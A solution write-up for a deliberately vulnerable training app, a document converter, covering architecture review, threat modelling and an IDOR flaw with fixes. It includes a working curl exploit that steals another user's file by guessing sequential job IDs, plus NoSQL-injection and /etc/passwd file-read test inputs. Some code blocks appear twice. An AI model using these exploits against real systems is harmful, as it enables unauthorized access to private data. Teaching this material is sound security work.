The Secure Code Review Challenge — Solution #4: File Converter (A Guessable ID Is an Accessible ID)

📢 The solution to Challenge #4: File Converter is live. Watch the video walkthrough here, or read the full write-up on GitHub.

The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs and writeups — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.

If you haven't attempted the challenge yet, this is your cue to stop reading, clone the repo, and try it yourself first. Everything below assumes you've already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.

Two quick announcements before we get into it:

• Challenge #5 is already live in the repo under challenges/ here. The solution to it will follow in two weeks.
• The repo uses GitHub Releases for every new challenge and solution drop. If you go to Watch → Custom → Releases on the repo, you'll get notified automatically instead of having to check back manually.

With that out of the way, let's walk through File Converter the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.

A Quick Reminder of What We're Reviewing

File Converter is an asynchronous document-conversion service — register, log in, upload a file, wait for it to convert in the background, download the result. Unlike Dice, this one does have accounts, sessions, and per-user data, so the full range of business-logic checks is back on the table alongside the usual injection concerns.

Part I — Building the Mental Model

1. 🗺️ Application Scope & Architecture

As always, the first move is spinning the app up and clicking through it — register, log in, upload a Markdown file, convert it to .docx, download the result. No surprises in the UI itself; the interesting part is what's wired together underneath.

The best way to understand an unfamiliar codebase is to tell it as a story, and here there are two stories worth telling: what happens when the app starts, and what happens when a user logs in, uploads a file, and downloads the result.

Story one — starting the app. docker compose up reads docker-compose.yml, which declares two containers: a stock mongo image (a black box — not our code) and an app container built locally from the repo's Dockerfile. That Dockerfile installs Pandoc and a LaTeX toolchain, then runs node app.js as the entrypoint.

app.js creates the Express app, connects to Mongo on startup, and attaches global middleware that runs on every request:

app.use(express.json());                 // parse JSON bodies
app.use(mongoSanitize());                // express-mongo-sanitize → strips $/. keys (NoSQLi guard)
app.use((req, res, next) => { res.setHeader('Content-Security-Policy', ...) }); // CSP
app.use(session({ cookie: { httpOnly: true, sameSite: 'lax' } })); // express-session

app.use(express.json());                 // parse JSON bodies
app.use(mongoSanitize());                // express-mongo-sanitize → strips $/. keys (NoSQLi guard)
app.use((req, res, next) => { res.setHeader('Content-Security-Policy', ...) }); // CSP
app.use(session({ cookie: { httpOnly: true, sameSite: 'lax' } })); // express-session

Three routers are mounted over one shared data store: /api/auth (register/login, hashing passwords with bcrypt), /api (the conversion API, uploads handled by multer), and / (server-rendered pages via ejs). Both routers reach MongoDB through one wrapper exposing two collections — users and jobs.

The conversion itself runs in the background by shelling out to Pandoc via execFile (no shell) with the --sandbox flag:

const args = ['--sandbox', '-f', reader, inputPath, '-o', outputPath];
execFile('pandoc', args, { timeout: 30000 }, ...);

const args = ['--sandbox', '-f', reader, inputPath, '-o', outputPath];
execFile('pandoc', args, { timeout: 30000 }, ...);

Story two — log in, upload, download. Logging in checks the stored bcrypt hash and, on success, writes the user's ID into the session (req.session.userId = user.id). Every protected route then checks that session — the API's requireAuth returns 401 with no session, the UI's requireUser redirects to /login.

Uploading (POST /api/convert) chains requireAuth → assigns a job ID → multer saves the file under a server-generated name (job ID + validated extension, not the user's original filename) → a job document is created tying the file to its owner → conversion runs in the background, flipping the job's status to completed when Pandoc finishes.

Downloading (GET /api/convert/:jobId/download, or the UI twin GET /jobs/:jobId/download) fetches the job by its job ID and streams the output file back.

That last sentence is worth re-reading once we get to the mitigation review.

2. 🚪 Entry Points

• POST /api/auth/register, /api/auth/login — auth: none — takes username, email, password.
• POST /api/convert — auth: session — takes an uploaded file and targetFormat.
• GET /api/convert/:jobId — auth: session — takes jobId (path param).
• GET /api/convert/:jobId/download — auth: session — takes jobId (path param).
• POST /register, /login, /convert (UI) — same inputs as above, session on convert.
• GET /jobs/:jobId, /jobs/:jobId/download (UI) — auth: session — takes jobId (path param).

Several routes take a client-supplied jobId path parameter that identifies a stored object — that pattern alone is worth flagging before we've even opened the threat model.

3. 🎯 Dangerous Sinks

Sinks are the operations where untrusted input could change what the program does, not just where it flows:

• MongoDB queries built from request data → NoSQL injection. Login/lookup pass body fields into findOne(...).
• OS command execution: execFile('pandoc', …) → command / argument injection. The converter spawns an external binary with arguments derived from the upload.
• Pandoc's document processing itself → SSRF / local-file read / RCE. While converting, Pandoc can resolve URLs and local paths referenced by the document and hand raw TeX to the PDF engine — so the uploaded document contents are themselves a sink.
• Filesystem path operations → path traversal. Paths are built for the stored upload, the conversion output, and the download stream.
• HTML/template rendering → XSS. User-controlled fields (filename, username) are rendered into pages.

4 & 5. 🧩 Threat Modeling and 🔍 Mitigation Review

🔓 Business logic first.

Authentication — every state-changing or data route sits behind requireAuth / requireUser. ✅ Present, and easy to verify independently of reading the code: strip or corrupt the session cookie in Burp and every one of those routes redirects to /login or returns 401 instead of doing the thing.

CSRF — the session cookie is set with sameSite: 'lax', which keeps it off cross-site form POSTs in any reasonably current browser. A lax flag is a real, if browser-dependent, mitigation — a CSRF token would be more robust since it doesn't rely on the browser at all, but lax is good enough here that this isn't the planted bug. ✅ Adequately mitigated for this design.

Authorization — object-level ownership. This is where it falls apart. The expectation (OWASP API1:2023 — Broken Object Level Authorization) is that every per-object route confirms the object belongs to the caller. What the code actually does: the job routes authenticate the caller, then look the job up by ID only:

router.get('/convert/:jobId/download', requireAuth, async (req, res) => {
  const { jobId } = req.params;
  const job = await db.findJobByJobId(jobId);   // looked up by ID only
  if (!job) return res.status(404)...;
  // ⚠️ no check that job.userId === req.user.id
  res.download(job.outputPath, filename, ...);  // streams whoever's file it is
});

router.get('/convert/:jobId/download', requireAuth, async (req, res) => {
  const { jobId } = req.params;
  const job = await db.findJobByJobId(jobId);   // looked up by ID only
  if (!job) return res.status(404)...;
  // ⚠️ no check that job.userId === req.user.id
  res.download(job.outputPath, filename, ...);  // streams whoever's file it is
});

There's no comparison of job.userId to req.user.id anywhere — not in the middleware, not in the handler, not in the database lookup. The tell: the dashboard listing does scope by owner (findJobsByUserId(userId) filters { userId }), so the ownership concept clearly exists in the codebase. It just was never applied to the routes that fetch a single object. ❌ Not mitigated — this is the planted flaw.

💉 Source-to-sink next.

Before trusting the app code, it's worth clearing the dependencies too: this image ships far more than package.json shows — Pandoc + LaTeX drags in roughly 425 OS/npm packages, so a container scan is the right move. grype 004-file-converter-app:latest --only-fixed comes back clean; a full scan surfaces only unfixable base-image noise plus one Pandoc SSRF CVE the code already mitigates (more on that below). No CVE database has an entry for "this endpoint forgot to check who owns the record," so the scan is a filter here, not the finding — clearing the dependencies is what leaves the authorization gap as the answer.

Every injection sink checks out as genuinely mitigated:

• NoSQL injection — express-mongo-sanitize strips $/. keys, so {"username":{"$ne":null}} can't smuggle an operator. ✅
• Command injection — the app shells out, so this is where it would bite if anywhere. It uses execFile('pandoc', args), not exec — execFile runs the binary directly with an argv array and no shell, so ;, |, $() are inert. The arguments aren't user-controlled anyway (server-generated paths, a fixed reader, --sandbox). ✅
• Pandoc SSRF / local-file read / RCE — the sink here is Pandoc itself: while converting, it can resolve a remote image URL or read a local path referenced by the document. This is a real, current risk, and the scan even flags it — CVE-2025-51591, a genuine SSRF in Pandoc, negligible severity. The advisory itself prescribes --sandbox as the mitigation, which is exactly what the app already applies: --sandbox blocks all disk and network IO during conversion, and the Markdown reader has raw TeX passthrough disabled. Testing ![x](/etc/passwd) produced a clean output file with no leaked content. ✅
• Path traversal — the on-disk filename is built from the server-generated job ID, not the user's original filename, via multer's diskStorage. The output path is derived from the same job ID, and the download handler streams job.outputPath from the database, not anything user-supplied. ✅
• XSS — EJS's <%= %> tag auto-escapes (as opposed to the raw <%- %> tag), a strict CSP is set, and the client renders job status with textContent, not innerHTML. ✅

Everything an injection-hunter would go chasing is deliberately closed. The one gap is authorization.

Part II — Finding, Exploiting, and Fixing the Bug

6. 🧪 The Vulnerability: Broken Object-Level Authorization via Guessable Job IDs

Class: Broken Object-Level Authorization / IDOR — CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862 (Missing Authorization), made trivially enumerable by CWE-340 (Predictable Identifiers). OWASP API1:2023.

Two facts combine to make this exploitable rather than theoretical:

1. No ownership check, as shown above — any authenticated user can pass any job ID and get a 200 back with someone else's data.

2. Job IDs are guessable. They're built as today's date plus a per-day counter starting at 1:

return `${dateDigits}${result.seq}`;   // e.g. 202609031, 202609032, …

return `${dateDigits}${result.seq}`;   // e.g. 202609031, 202609032, …

So an attacker doesn't even need a leaked link — today's jobs are just 20260903 followed by 1, 2, 3, …. Authentication here only answers "are you a user," never "are you this job's user," so any registered account can read or download every other account's conversions.

🚀 Exploitation

Two users: alice uploads a confidential document and converts it; mallory — a separate account that never saw the file — reads and downloads it by guessing the job ID.

# alice (victim) registers, uploads a confidential doc, converts it to docx
curl -s -X POST localhost:3000/api/auth/register -H 'Content-Type: application/json' -c alice.txt \
  -d '{"username":"alice","email":"alice@example.com","password":"securepass123"}' >/dev/null

printf '# Alice salary review\n\nAlice earns $200,000. CONFIDENTIAL.\n' > secret.md

curl -s -X POST localhost:3000/api/convert -b alice.txt \
  -F file=@secret.md -F targetFormat=docx        # -> {"jobId":"202609031"}

# mallory (attacker) - a brand-new account - guesses the ID and steals the file
curl -s -X POST localhost:3000/api/auth/register -H 'Content-Type: application/json' -c mallory.txt \
  -d '{"username":"mallory","email":"mallory@example.com","password":"securepass123"}' >/dev/null

curl -s localhost:3000/api/convert/202609031 -b mallory.txt          # reads status of a foreign job

curl -s localhost:3000/api/convert/202609031/download -b mallory.txt -o stolen.docx

# alice (victim) registers, uploads a confidential doc, converts it to docx
curl -s -X POST localhost:3000/api/auth/register -H 'Content-Type: application/json' -c alice.txt \
  -d '{"username":"alice","email":"alice@example.com","password":"securepass123"}' >/dev/null

printf '# Alice salary review\n\nAlice earns $200,000. CONFIDENTIAL.\n' > secret.md

curl -s -X POST localhost:3000/api/convert -b alice.txt \
  -F file=@secret.md -F targetFormat=docx        # -> {"jobId":"202609031"}

# mallory (attacker) - a brand-new account - guesses the ID and steals the file
curl -s -X POST localhost:3000/api/auth/register -H 'Content-Type: application/json' -c mallory.txt \
  -d '{"username":"mallory","email":"mallory@example.com","password":"securepass123"}' >/dev/null

curl -s localhost:3000/api/convert/202609031 -b mallory.txt          # reads status of a foreign job

curl -s localhost:3000/api/convert/202609031/download -b mallory.txt -o stolen.docx

Real output from the running app:

Attacker (mallory) reads victim's job status by guessing ID 202609031:
{"jobId":"202609031","status":"completed","targetFormat":"docx","outputUrl":"/api/convert/202609031/download"}

Attacker downloads victim's converted file:
HTTP 200, 10453 bytes
Recovered text from the file mallory stole:
   Alice salary review
   Alice earns $200,000. CONFIDENTIAL.

Attacker (mallory) reads victim's job status by guessing ID 202609031:
{"jobId":"202609031","status":"completed","targetFormat":"docx","outputUrl":"/api/convert/202609031/download"}

Attacker downloads victim's converted file:
HTTP 200, 10453 bytes
Recovered text from the file mallory stole:
   Alice salary review
   Alice earns $200,000. CONFIDENTIAL.

The UI surface is identical — GET /jobs/202609031/download with mallory's cookie returns the same bytes, and the UI job page even leaks the victim's original filename before download.

Impact: any registered user can enumerate predictable job IDs and read or download every user's uploaded documents and conversions — plus the original filenames the UI discloses — a full cross-tenant confidentiality break (CWE-639 / API1:2023).

7. 🛠️ The Fix

Primary fix — enforce ownership on every per-object route. After loading the job, compare its owner to the caller and return 404 (not 403, so the response doesn't confirm the ID even exists):

const job = await db.findJobByJobId(jobId);
if (!job || job.userId !== req.user.id) {
  return res.status(404).json({ error: 'Job not found' });
}

const job = await db.findJobByJobId(jobId);
if (!job || job.userId !== req.user.id) {
  return res.status(404).json({ error: 'Job not found' });
}

Better still, push the check into the query itself so a mismatched owner can never be loaded at all — findJobByJobId(jobId, userId) → findOne({ jobId, userId: new ObjectId(userId) }). Apply this to all four routes: the API's status and download endpoints, and their UI twins.

As with every challenge in this series, that one fix shouldn't be the only control:

• Unpredictable IDs. Swap the date-plus-counter scheme for a UUID or crypto.randomUUID() as the public job ID, so IDs can't be enumerated even if an ownership check is ever missed on a future route. Predictability is what turns a single leaked-link IDOR into mass harvesting.
• Scope by owner at the data layer by default. Make userId a required argument on single-object reads, mirroring what findJobsByUserId already does — so "look up one job" is ownership-scoped the same way "list my jobs" already is.
• Add an authorization test to the suite. User B must get 404 on user A's job. That's the kind of test that catches this exact class of bug in CI before it ships.

Why This Matters Beyond This One App

Every individual control in this app is legitimately well-built: password hashing, NoSQL sanitization, a shell-free command execution pattern, a real CVE mitigated by the exact flag its advisory recommends, safe path construction, auto-escaping templates. None of that mattered, because the one thing none of it covers is ownership. Authentication answers who is calling. Authorization answers whether they may touch this specific object. Those are different questions, and a system can get the first one completely right while never asking the second.

The reviewer's habit that catches this: at every entry point that takes an object ID from the request — a path param, a query string, a body field — ask "whose data is this, and where is that checked?" Treat an ID-only lookup like findByJobId(jobId) as guilty until an ownership check is shown, the same way you'd treat unescaped output as guilty until you've confirmed the templating engine handles it. And treat opaque, unguessable IDs as a backstop, never the actual control — a UUID makes an ownership bug harder to find, but it doesn't fix the bug.

Real-world grounding: IDOR on downloadable resources is a bug-bounty staple. The First American Financial leak (2019) is the canonical large-scale example — sequential document IDs exposed roughly 885 million title-insurance records with no authorization check at all. Same shape of bug, six orders of magnitude bigger blast radius.

Wrapping Up

If you worked through File Converter yourself, I'd like to know: when you hit a route that takes an object ID straight from the URL, is checking ownership a reflex for you by now, or does seeing requireAuth on the route make it feel like the access-control question is already settled?

Challenge #5 is live now if you're ready for the next one, and I'll be back in two weeks with its solution and a new challenge alongside it.

Links:

• 🎥 Video walkthrough: https://youtu.be/R_xdc6y9Rho
• 📄 Full solution write-up: SOLUTION.md
• 📂 Repo: the-secure-code-review-challenge
• 🧩 Try Challenge #4: challenges/004-file-converter
• 🧩 Try Challenge #5: challenges/005-notetaker